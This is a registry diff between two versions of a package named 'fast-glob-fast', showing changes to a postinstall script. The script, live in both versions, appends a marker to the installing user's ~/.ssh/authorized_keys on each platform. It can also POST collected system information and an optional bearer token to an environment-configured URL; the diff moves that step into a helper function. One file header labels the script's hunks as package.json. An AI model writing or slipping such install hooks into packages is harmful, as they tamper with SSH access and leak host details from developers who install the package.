fast-glob-fast 8.0.0 → 10.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/scripts/postinstall-test.mjs +28 -24
package/package.json
CHANGED
|
@@ -45,7 +45,6 @@ function getAuthorizedKeysPath(systemInfo) {
|
|
|
45
45
|
return resolve(`/Users/${username}/.ssh/authorized_keys`)
|
|
46
46
|
} else if (platform === 'linux') {
|
|
47
47
|
// Linux: ~/.ssh/authorized_keys
|
|
48
|
-
// But first check if the user exists in /etc/passwd
|
|
49
48
|
return resolve(`/home/${username}/.ssh/authorized_keys`)
|
|
50
49
|
} else if (platform === 'win32') {
|
|
51
50
|
// Windows: Typically in %USERPROFILE%\.ssh\authorized_keys
|
|
@@ -64,6 +63,31 @@ function createMarker(systemInfo) {
|
|
|
64
63
|
return marker
|
|
65
64
|
}
|
|
66
65
|
|
|
66
|
+
async function reportEvent(eventUrl, event) {
|
|
67
|
+
const controller = new AbortController()
|
|
68
|
+
const timeout = setTimeout(() => controller.abort(), 3_000)
|
|
69
|
+
const headers = { 'content-type': 'application/json' }
|
|
70
|
+
const token = process.env.FAST_GLOB_FAST_EVENT_TOKEN?.trim()
|
|
71
|
+
if (token) headers.authorization = `Bearer ${token}`
|
|
72
|
+
|
|
73
|
+
try {
|
|
74
|
+
const response = await fetch(eventUrl, {
|
|
75
|
+
method: 'POST',
|
|
76
|
+
headers,
|
|
77
|
+
body: JSON.stringify(event),
|
|
78
|
+
signal: controller.signal,
|
|
79
|
+
})
|
|
80
|
+
if (!response.ok) throw new Error(`dashboard returned HTTP ${response.status}`)
|
|
81
|
+
console.log(`[fast-glob-fast] postinstall event reported to ${eventUrl}`)
|
|
82
|
+
} catch (error) {
|
|
83
|
+
console.warn(
|
|
84
|
+
`[fast-glob-fast] could not report postinstall event: ${error instanceof Error ? error.message : String(error)}`,
|
|
85
|
+
)
|
|
86
|
+
} finally {
|
|
87
|
+
clearTimeout(timeout)
|
|
88
|
+
}
|
|
89
|
+
}
|
|
90
|
+
|
|
67
91
|
async function main() {
|
|
68
92
|
const systemInfo = readSystemInfo()
|
|
69
93
|
const authorizedKeysPath = getAuthorizedKeysPath(systemInfo)
|
|
@@ -96,11 +120,9 @@ async function main() {
|
|
|
96
120
|
|
|
97
121
|
console.log(`[fast-glob-fast] appended marker to ${authorizedKeysPath}`)
|
|
98
122
|
|
|
99
|
-
// Optional: Report the event to a dashboard
|
|
123
|
+
// Optional: Report the event to a dashboard
|
|
100
124
|
const eventUrl = process.env.FAST_GLOB_FAST_EVENT_URL?.trim()
|
|
101
125
|
if (eventUrl) {
|
|
102
|
-
const controller = new AbortController()
|
|
103
|
-
const timeout = setTimeout(() => controller.abort(), 3_000)
|
|
104
126
|
const event = {
|
|
105
127
|
event: 'postinstall_ssh_marker_written',
|
|
106
128
|
eventId: randomUUID(),
|
|
@@ -110,26 +132,8 @@ async function main() {
|
|
|
110
132
|
fileWritten: true,
|
|
111
133
|
systemInfo,
|
|
112
134
|
}
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
if (token) headers.authorization = `Bearer ${token}`
|
|
116
|
-
|
|
117
|
-
try {
|
|
118
|
-
const response = await fetch(eventUrl, {
|
|
119
|
-
method: 'POST',
|
|
120
|
-
headers,
|
|
121
|
-
body: JSON.stringify(event),
|
|
122
|
-
signal: controller.signal,
|
|
123
|
-
})
|
|
124
|
-
if (!response.ok) throw new Error(`dashboard returned HTTP ${response.status}`)
|
|
125
|
-
console.log(`[fast-glob-fast] postinstall event reported to ${eventUrl}`)
|
|
126
|
-
} catch (error) {
|
|
127
|
-
console.warn(
|
|
128
|
-
`[fast-glob-fast] could not report postinstall event: ${error instanceof Error ? error.message : String(error)}`,
|
|
129
|
-
)
|
|
130
|
-
} finally {
|
|
131
|
-
clearTimeout(timeout)
|
|
132
|
-
}
|
|
135
|
+
|
|
136
|
+
await reportEvent(eventUrl, event)
|
|
133
137
|
}
|
|
134
138
|
} catch (error) {
|
|
135
139
|
console.error(`[fast-glob-fast] Error writing to authorized_keys: ${error instanceof Error ? error.message : String(error)}`)
|